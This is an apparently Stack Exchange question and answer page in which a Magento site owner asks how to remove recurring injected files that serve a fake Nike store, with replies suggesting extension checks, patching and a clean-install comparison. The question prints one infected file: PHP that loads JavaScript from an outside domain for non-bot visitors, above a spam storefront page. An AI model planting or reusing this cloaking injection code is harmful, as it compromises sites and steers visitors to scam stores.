3

I think I have infection with strange code that is replicating in Magento. It creates repeatable html/php plus dirs pointing to fake Nike store.
How to get rid of this?
I thinks it maybe caused by 1 of 2 free extensions I installed last week.
Files have naming pattern like: us201604260.php

<?php

$tmp = "?" . strtolower($_SERVER['HTTP_USER_AGENT']);
if((strpos($tmp, 'bot') != true)){
echo '<script src="http://www.kicks2016s.com/google/js/min.0.1.22.js" type="text/javascript"></script>' . "\n";
}
?>


<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" >
    <head>
<title>black and white lebron 11,kobe 8 black,hyperdunk 2013 blue</title>
<meta name="keywords" content="black and white lebron 11,kobe 8 black,hyperdunk 2013 blue" />
  <meta http-equiv="content-type" content="text/html; charset=utf-8" />
  <meta name="author" content="" />
  <meta name="generator" content="Joomla! - Open Source Content Management" />
<link href="/templates/beez3/favicon.ico" rel="shortcut icon" type="image/vnd.microsoft.icon" />
  <link rel="stylesheet" href="/templates/system/css/system.css" type="text/css" />
  <link rel="stylesheet" href="/templates/beez3/css/position.css" type="text/css" media="screen,projection" />
<link rel="stylesheet" href="/templates/beez3/css/layout.css" type="text/css" media="screen,projection" />
  <link rel="stylesheet" href="/templates/beez3/css/print.css" type="text/css" media="print" />
  <link rel="stylesheet" href="/templates/beez3/css/general.css" type="text/css" media="screen,projection" />
  <link rel="stylesheet" href="/templates/beez3/css/personal.css" type="text/css" media="screen,projection" />
<style >
body{margin:0px;margin:0px;}

</style>
        <!--[if IE 7]>
        <link href="/templates/beez3/css/ie7only.css" rel="stylesheet" type="text/css" />
        <![endif]-->
    </head>
    <body id="shadow">

        <div id="all" style="width:980px;">
            <div id="back">
                <header id="header">
                    <div class="logoheader">
                        <h1 id="logo">
                                                    <img src="/images/joomla_black.gif"  alt="Joomla!" />

                                                                        <span class="header1">
                        Open Source Content Management                      </span></h1>
                    </div><!-- end logoheader -->
                    <ul class="skiplinks">
                        <li><a href="#main" class="u2">Skip to content</a></li>
                        <li><a href="#nav" class="u2">Jump to main navigation and login</a></li>
                                                    <li><a href="#right" class="u2">Jump to additional information</a></li>

                                            </ul>
                    <h2 class="unseen">Nav view search</h2>
                    <h3 class="unseen">Navigation</h3>
                    <ul class="nav menu nav-pills">
<li class="item-101 current active"><a href="/" >Home</a></li></ul>

                    <div id="line">
                        <div id="fontsize"></div>

                        <h3 class="unseen">Search</h3>

                    </div> <!-- end line -->
                </header><!-- end header -->
                <div id="contentarea2">
                    <div id="breadcrumbs">

<div class = "breadcrumbs">
<span class="showHere">You are here: </span><a href="/" class="pathway">Home</a> <img src="/templates/beez3/images/system/arrow.png" alt="" />   <img src="/templates/beez3/images/system/arrow.png" alt="" /> <span>Buy</span></div>

                    </div>

                                            <nav class="left1 " id="nav">
                            <div class="moduletable">
 <h3>Popular Tags</h3>
 <div class="tagspopular">
    <ul >
        <li>        
            </li>
        </ul>
</div>
</div>
<div class="moduletable">
 <h3>Latest Articles</h3>
Improve this question
8
  • What are those extensions ? What happens if you disable them ?
    – Raphael at Digital Pianism
    Commented Apr 30, 2016 at 11:13
  • 1 is for commenting date change Designcoil_Editreviewdate.xml , second is for Yireo Profiler, 3rd is StrongTics_Handle404.xml OR I updated some paid extensions, but I don't think paid will have infection in it I disabled 1, but still got this malware. How can I find what causes this code replication? Can it be caused by recent SQL injection bug in Magento?
    – sellio
    Commented Apr 30, 2016 at 11:27
  • well it's tough try disabling all your extensions and see if the error goes away. If it does re enable your extension one by one to see what's the faulty one. If it does not I reckon you've been hacked.
    – Raphael at Digital Pianism
    Commented Apr 30, 2016 at 11:48
  • Hi. The problem is that it replicates in some time - once a week or so. I cannot handle what it triggers. I got the malware today, I got 5 days ago. do you think its just stupid malware from free extension, or it its SQL injection that is more problematic? I changed admin credentials, ftp pass. Will see. But if this is related to any module - the code is hidden somewhere. Haven't you heard ever about similar "malware" ? that points to Nike store?
    – sellio
    Commented Apr 30, 2016 at 15:31
  • 2
    Please read What should you do with the hacked installation?
    – Fabian Schmengler
    Commented May 2, 2016 at 20:57

1 Answer 1

Reset to default
3

There are several steps that you need to take to clean this:

1) Compare your code base to a clean install base. Find out what core files have been changed. It's probably not an extension, but rather code that has been injected into your core files. Might even be the index.php file.

2) Apply all the patches to your installation. To find out what patches are missing and other vulnerabilities, go to www.MageReport.com and run a report on your site.

3) Check the permissions on your server, as well. It's not enough just to change permissions. If you have open permissions on a file, it's vulnerable.

If this is beyond your capabilities, find a capable Magento developer to assist you. This has to be costing you lost revenue! And, it could allow other injections that would capture customer payment information et al, which could be tremendously damaging to your brand.

Improve this answer

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.